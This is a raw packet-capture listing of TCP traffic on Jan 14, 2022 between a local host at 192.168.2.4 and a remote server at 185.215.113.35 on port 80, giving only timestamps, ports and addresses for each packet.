Jan 14, 2022 09:26:02.126136065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.126148939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.126328945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.126343012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.126501083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.126513004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.126705885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.126720905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.126857996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.126869917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.127036095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.127047062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.127207994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.127218962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.127384901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.127397060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.127556086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.127568007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.127736092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.127746105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.127911091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.127923012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.128087997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.128098965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.128261089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.128272057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.128441095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.128453016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.128612995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.128624916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.128792048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.128803015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.128963947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.128974915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.129147053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.129158020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.129266977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.129466057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.129477978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.129632950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.129645109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.129820108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.129829884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.129992008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.130002975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.130177021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.130187035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.130347013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.130358934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.130532980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.130543947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.130703926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.130716085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.130891085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.130901098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.131438971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.131468058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.131623030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.131634951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.131808996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.131819963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.132086039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.132857084 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.132886887 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.132978916 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.133846045 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.147757053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.148390055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.148407936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.148617029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.148648024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.148859978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.148952961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.148962021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.149180889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.149327040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.149338007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.149528027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.149681091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.149914026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.149931908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.150058985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.150247097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.150412083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.150429010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.150537968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.150768042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.150787115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.150964022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.151139975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.151338100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.151540995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.151613951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.151627064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.151772976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.151940107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.152082920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.152101994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.152292967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.152424097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.152679920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.152831078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.152846098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.153057098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.153285980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.153302908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.153388023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.153537989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.153729916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.153798103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.154055119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.154159069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.154329062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.154567003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.154577017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.154683113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.154968977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.154980898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.155163050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.155174017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.155375957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.155390978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.155565023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.155577898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.155776024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.155787945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.155971050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.155980110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.156179905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.156191111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.156373978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.156380892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.156582117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.156590939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.156785011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.156799078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.156995058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.157007933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.157196045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.157206059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.157399893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.157409906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.157593966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.157603979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.157764912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.157774925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.157928944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.157938004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.158103943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.158112049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.158267021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.158276081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.158442020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.158448935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.158603907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.158608913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.158778906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.158787966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.158941984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.158951044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.159116030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.159123898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.159277916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.159285069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.159456968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.159465075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.159622908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.159631014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.159799099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.159806967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.159938097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.160160065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.169859886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.169970989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.170162916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.170237064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.170578957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.170706987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.170716047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.170876980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.170998096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.171169996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.171179056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.171351910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.171458006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.171628952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.171637058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.171797991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.171963930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.172173023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.172179937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.172507048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.175069094 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.175112009 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.180860043 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.187258959 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.187289000 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.188745022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.188972950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.189332962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.189341068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.189656019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.189665079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.189826965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.189975977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.190203905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.190311909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.190495014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.190502882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.190619946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.190781116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.190969944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.190979004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.191087008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.191245079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.191425085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.191435099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.191591978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.191744089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.191889048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.191893101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.192089081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.192248106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.192353010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.192357063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.192555904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.192809105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.192814112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.192820072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.193001986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.193177938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.193279982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.193288088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.193444014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.193713903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.193883896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.193990946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.194113016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.194279909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.194288969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.194530964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.194669008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.194678068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.194920063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.195003033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.195333958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.195436954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.195633888 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.195636034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.195645094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.195698023 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.195727110 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.196022034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.196134090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.196307898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.196316957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.196480036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.196635008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.196836948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.196846008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.196963072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.197124958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.197309017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.197315931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.197433949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.197561026 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.197639942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.197680950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.197698116 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.197798967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.197947979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.198184967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.198282003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.198354959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.198483944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.198645115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.198793888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.199101925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.199465036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.199479103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.199650049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.199661970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.199831009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.199837923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.200012922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.200021982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.200705051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.209512949 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.209553957 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.211194992 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.211616039 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.211927891 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.212162018 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.212202072 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.212233067 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.212932110 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.212961912 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.212986946 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.213609934 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.213638067 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.213666916 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.213951111 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.213980913 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.214226961 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.214268923 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.217170954 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.217214108 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.217262983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.217334986 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.217402935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.217474937 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.217497110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.217672110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.217725039 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.217761993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.217900991 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.217916965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.217998981 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.218064070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.218112946 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.218482018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.218493938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.218497038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.218645096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.218658924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.218821049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.218827009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.218878031 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.218919039 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.218955040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.219111919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.219122887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.219316959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.219327927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.219480991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.219492912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.219575882 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.219609976 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.219635963 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.219758034 CET	49891	80	192.168.2.4	185.215.113.35
